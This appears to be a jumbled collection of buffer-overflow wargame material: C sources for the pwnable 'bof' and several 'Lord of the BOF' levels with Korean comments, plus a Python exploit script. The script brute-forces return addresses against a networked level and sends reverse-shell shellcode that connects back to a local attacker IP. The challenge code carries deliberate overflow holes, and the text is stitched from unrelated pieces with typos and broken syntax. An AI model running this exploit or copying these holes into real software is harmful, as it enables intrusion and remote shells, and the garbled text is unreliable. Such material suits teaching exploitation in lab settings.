oiehso0

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

void func(int key){

char overflowme[32];

printf("overflow me : ");

gets(overflowme);        //smash me!

if(key == 0xcafebabe){

system("/bin/sh");

}

else{

printf("Nah..\n");

}

}

int main(int argc, char* argv[]){

func(0xdeadbeef);

return 0;

}

[xavius@localhost xavius]$ cat death_knight.c

#include <stdio.h> //기본 헤더 
#include <stdlib.h> //시스템 함수를 사용하기 위함
#include <errno.h>// 특정한 이유에 의해서 비정상 종료될때 오류코드 호출
#include <string.h> // 메모리 블록을 다루기 위하여 추가함 
#include <sys/socket.h> // send , recv , socket ,bind 를 쓰기 위하여 추가함 
#include <sys/types.h> //typedef 를 사용하기 위해 추가함
#incldue <netinet/in.h> (socket.h , tpyes.h 대신 사용 가능)
#include <sys/wait.h> //자식 프로세스가 종료될때까지 부모 프로세스는 sleep()모드로 대기한다
#include <dumpcode.h> // 스택의 내용을 hex 코드로 보여줄 수 있다 .
main()
{
  char buffer[40]; // 버퍼에 40만큼의 공간을 할당해줌

  int server_fd , client_fd; // server_fd 와 clinet_fd 변수를 선언하였다
  struct sockaddr_in server_addr; // server_addr 구조체 선언
  struct sockaddr_in client_addr; // client_addr 구조체 선언
  int sin_size; //sin_size 변수 선언
  if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){ //소켓의 타입을 TCP로 설정함 (주소 체계 , 소켓타입 , 프로토콜)
             perror("socket") 
              exit(1);
 } 

server_addr.sin_family = AF_INET; //소켓의 주소체계를 IPV4로 설정함
server_addr.sin_port = htons(6666);//소켓의 6666포트를 연다.
server_addr.sin_addr.s_addr = INADDR_ANY;// 모두 접속가능하다 
bzero(&(server_addr.sin_zero), 8); // sin_zero 부분을 0으로 초기화한다.

if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){  //소켓에 주소 할당을 한뒤 실패한다면 

perror("bind");  

exit(1); 

}

if(listen(server_fd, 10) == -1){ //연결 대기 제한 수를 10으로 잡고 실패하면

perror("listen"); 

exit(1);  

}

while(1) {  //무한 루프 

sin_size = sizeof(struct sockaddr_in); //sin_size = 선언한 구조체의 크기 

if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){ //  클라이언트의 접속요청을 받고 실패하면

perror("accept"); 

continue; 

}

             if (!fork()){ //새로운 프로세서를 생성하지못하면

send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0); 

send(client_fd, "You : ", 6, 0); //You 라는 문구를 보냅니다

recv(client_fd, buffer, 256, 0); //40만큼 할당된 버퍼에서 256만큼 저장합니다.

close(client_fd);//client_fd 소켓 종료 

break; //while문 종료 

}

close(client_fd);  //client_fd 소켓 종료 

while(waitpid(-1,NULL,WNOHANG) > 0);//임의의 자식 프로세스가 종료되지 않았더라도 바로 종료해라 

}

close(server_fd); //server_fd 소켓 종료 

}

원본 출처: http://m-youngzzang-for20.tistory.com/106 [자기계발]

#!/usr/bin/env python

from socket import *

from struct import *

p=lambda x : pack("<L",x)

shellcode="\x68"+"\xc0\xa8\x3b\x84"+"\x5e\x66\x68"+"\x27\x0f"+"\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02"+"\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79"+"\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a"+"\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f"+"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"+"\xeb\xce"

HOST = '192.168.59.133'

PORT = 6666

limit = 255

print "[*] Start exploiting"

print "victim ip : %s" %HOST

print "victim port : %s" %PORT

print " "

print "used Shellcode : %s" % str(shellcode)

print "length : %s" % str(len(shellcode))

for j in range(0xff, 0, -1):

        for i in range(0, 0xff, 50):

                 payload=("A"*44)+chr(i)+chr(j)+"\xff\xbf"+("\x90"*(limit-len(shellcode)-48))+shellcode

                 s=socket(AF_INET,SOCK_STREAM)

                 s.connect((HOST,PORT))

                 print hex(j)+" "+hex(i)

                 print s.recv(1024) #print s.recv(10)

                 s.send(payload)

                 s.close()

/*

        The Lord of the BOF : The Fellowship of the BOF

        - xavius

        - arg

*/

#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>

main()

{

        char buffer[40];

        char *ret_addr;

        // overflow!

        fgets(buffer, 256, stdin);

        printf("%s\n", buffer);

        if(*(buffer+47) == '\xbf')//스택주소 사용불가

        {

                printf("stack retbayed you!\n");

                exit(0);

        }

        if(*(buffer+47) == '\x08')

        {

                printf("binary image retbayed you, too!!\n");

                exit(0);

        }

        // check if the ret_addr is library function or not

        memcpy(&ret_addr, buffer+44, 4);//리턴어드레스 ret address에 복사

        while(memcmp(ret_addr, "\x90\x90", 2) != 0)     // end point가 \x90\x90이어야한다.

        {

                if(*ret_addr == '\xc9'){                // leave 사용금지

                        if(*(ret_addr+1) == '\xc3'){    // ret 사용금지

                                printf("You cannot use library function!\n");

                                exit(0);

                        }

                }

                ret_addr++;

        }

        // stack destroyer

        memset(buffer, 0, 44);// 버퍼시작부터 44까지 0으로 초기화

        memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));//리턴 어드레스 이후의 스택영역 0으로 초기화

        // LD_* eraser

        // 40 : extra space for memset function

        memset(buffer-3000, 0, 3000-40);//공유 라이브러리영역 사용 불가

}

/*

        The Lord of the BOF : The Fellowship of the BOF

        - nightmare

        - PLT

*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <dumpcode.h>

main(int argc, char *argv[])

{

        char buffer[40];

        char *addr;

        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }

        // check address

        addr = (char *)&strcpy;//strcpy의 주소를 담음

        if(memcmp(argv[1]+44, &addr, 4) != 0){//argv+44이후의 4바이트가 addr이 담는 주소와 같아야한다.

                printf("You must fall in love with strcpy()\n");

                exit(0);

        }

        // overflow!

        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);

        // dangerous waterfall

        memset(buffer+40+8, 'A', 4);//버퍼48개 뒤에는 AAAA로 초기화

}